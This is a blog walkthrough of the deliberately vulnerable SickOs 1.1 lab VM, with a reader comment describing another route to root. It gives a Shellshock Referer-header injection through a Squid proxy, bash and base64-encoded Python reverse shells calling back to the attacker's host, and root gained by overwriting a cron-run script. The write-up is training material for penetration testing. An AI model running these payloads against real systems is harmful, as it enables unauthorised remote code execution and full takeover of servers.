[Write-up] SickOs 1.1

In this post I’ll talk about how I managed to exploit the SickOs 1.1 VM made by D4rk36. The fact that the author mentions it is very similar to the OSCP labs caught my eye since I’m seriously thinking about taking this certification in a few months. 🙂

Let’s get started!

Port scan

root@kali:~/sickos# nmap -v -sS -A -T4 192.168.2.4

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-04-08 09:30 EDT
[...]
Nmap scan report for sickos (192.168.2.4)
Host is up (0.00045s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 09:3d:29:a0:da:48:14:c1
:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4

A Squid HTTP Proxy is running on port 3128. We can go in Firefox settings and set 192.168.2.4:3128 as our web proxy to see that there is a web server behind it:

Nikto

root@kali:~/sickos# nikto -h 192.168.2.4 --useproxy 192.168.2.4:3128
- Nikto v2.1.6

+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved via header: 1.0 localhost (squid/3.1.19)
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ Server banner has changed from 'Apache/2.2.22 (Ubuntu)' to 'squid/3.1.19' which may suggest a WAF, load balancer or proxy is in place
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3233: /icons/README: Apache default file found.

Nikto notices an outdated version of Apache from 2012 and a few paths leading to some PHP easter eggs. But more interesting, it tells us about /cgi-bin/status and suspects it is vulnerable to ShellShock.

root@kali:~/sickos# curl --proxy 192.168.2.4:3128 http://192.168.2.4/cgi-bin/status
{
  "uptime": " 19:18:50 up 4:51, 0 users, load average: 0.00, 0.01, 0.05",
  "kernel": "Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux"
}

This path returns a JSON string containing the output of uptime and uname -a. CGI scripts using bash as an interpreter are a well known exploitation vector for ShellShock. Luckily, exploiting the vulnerability shouldn’t be too hard.

ShellShock

Bash allows functions to be defined in environment variables. The vulnerability is caused by the fact that if an environment variable passed to a bash script contains a function definition followed by arbitrary bash commands, those commands are executed. Before running a CGI script, Apache gives it some context by setting environment variables corresponding to some of the HTTP headers of the request, such as Cookie and Referer. Since those are fully user controlled, we can inject any payload we want in them.

Let’s find a way to test if our target is indeed vulnerable to ShellShock. Here’s a bash function definition followed by some commands:

# Definition of a function that does nothing
() { 
  test;
}; 

echo 'Content-Type: text/plain'; 
echo; 
echo; 

/usr/bin/id; # <- the command we want to run

exit;

(The Content-Type and two echo are expected by Apache, so we’re including them not to get a 500 error with no output)

Now, let’s inject this payload in the Referer HTTP header of our request to /cgi-bin/status :

curl -v --proxy 192.168.2.4:3128 \
  http://192.168.2.4/cgi-bin/status \ 
  -H "Referer: () { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id; exit"

We get:

*   Trying 192.168.2.4...
* Connected to 192.168.2.4 (192.168.2.4) port 3128 (#0)
* HTTP 1.0, assume close after body
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Closing connection 0

Proving that the command we provided was indeed executed on the server. We can now easily get a reverse shell!

First, we run a listener on our attacking machine:

root@kali:~/sickos# nc -nvlp 6666
listening on [any] 6666 ...

Then, we get the payload of a bash reverse shell, either by googling or by using msfvenom:

# Generate a bash script that connects back to 192.168.2.3 (attacking machine) on port 6666
root@kali:~/sickos# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.2.3 LPORT=6666 -f raw
Payload size: 65 bytes
0<&142-;exec 142<>/dev/tcp/192.168.2.4/6666;sh <&142 >&142 2>&142

And finally trigger the exploit:

curl -v --proxy 192.168.2.4:3128 \
  192.168.2.4/cgi-bin/status \ 
  -H "Referer: () { test;}; 0<&28-;exec 28<>/dev/tcp/192.168.2.3/6666;/bin/sh <&28 >&28 2>&28"

(Note: I needed to change ‘sh’ to ‘/bin/sh’ in the payload generated by msfvenom in order for the exploit to work. sh probably isn’t in the path of the www-data user)

We go back to our listener and see an incoming connection:

connect to [192.168.2.3] from (UNKNOWN) [192.168.2.4] 36738
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Et voilà! We also spawn a TTY in order to have a better looking terminal and a better support of standard UNIX commands:

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@SickOs:/usr/lib/cgi-bin$

Privilege escalation

One of the cron jobs on the system stands out:

www-data@SickOs:/usr/lib/cgi-bin$ cat /etc/cron.d/automate

* * * * * root /usr/bin/python /var/www/connect.py

Interesting… The script /var/www/connect.py is run every minute as root! There are several ways to get a root shell from this :

  • have the script add our SSH key to the list of root’s authorized keys
  • have the script spawn a reverse shell on our machine
  • have the script change root’s password to the one of our choice
  • have the script change the permissions of the /root directory to 777, since it contains the flag according to the VM description on VulnHub
  • etc.

I went with the reverse shell solution. We use again msfvenom to generate a Python payload spawning a reverse shell:

root@kali:~/sickos# msfvenom -p cmd/unix/reverse_python LHOST=192.168.2.3 LPORT=7777 -f raw
Payload size: 505 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAsICAgICBzdWJwcm9jZXNzICwgICAgIG9zICAgOyAgICAgICBob3N0PSIxOTIuMTY4LjIuMyIgICA7ICAgICAgIHBvcnQ9Nzc3NyAgIDsgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAsICAgICBwb3J0KSkgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAsICAgICAwKSAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICwgICAgIDEpICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgLCAgICAgMikgICA7ICAgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

Back in the shell we have on the vulnerable machine:

www-data@SickOs:/usr/lib/cgi-bin$ echo "exec('aW1w...KQ=='.decode('base64'))" > /var/www/connect.py

Now on our machine we run a listener on port 7777 :

root@kali:~/sickos# nc -nvlp 7777
listening on [any] 7777 ...

We wait for a minute (worst case) for connect.py to be executed automatically…

connect to [192.168.2.3] from (UNKNOWN) [192.168.2.4] 46650
id
uid=0(root) gid=0(root) groups=0(root)

And we have our root shell! Now we can get our flag:

root@SickOs:~# ls /root
a0216ea4d51874464078c618298b1367.txt
root@SickOs:~# cat /root/a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying

Retrospective

This VM was very nice to play. After reading another walkthrough on highon.coffee (BTW, I highly recommend this website), I noticed that there were actually multiple ways to get superuser privileges. He used credentials that were stored in a MySQL database and were reused at several places.

The write-up also mentions a metasploit module that can be use to do a port scan on a machine through a HTTP proxy. That’s pretty interesting and wiill probably turn out to be useful one day. 🙂

Thanks for reading!

2 thoughts on “[Write-up] SickOs 1.1

  1. Nice writeup! I didn’t find the connect.py script running as root. I got root by looking for secrets in php includes and config files in the web root and found config.php with a password in the /var/www/wolfcms directory. Using that password with a user found in /etc/passwd I used it to ssh in, then checked for sudo permissions with “sudo -l” then used “sudo -i” to get root. I love reading other people’s vulnhub writeups to see what I’ve missed and learn from it.

    • Definitely interesting to read other people’s write-ups, indeed. 🙂 Nice finding, thanks for sharing!

Leave a Reply

Your email address will not be published. Required fields are marked *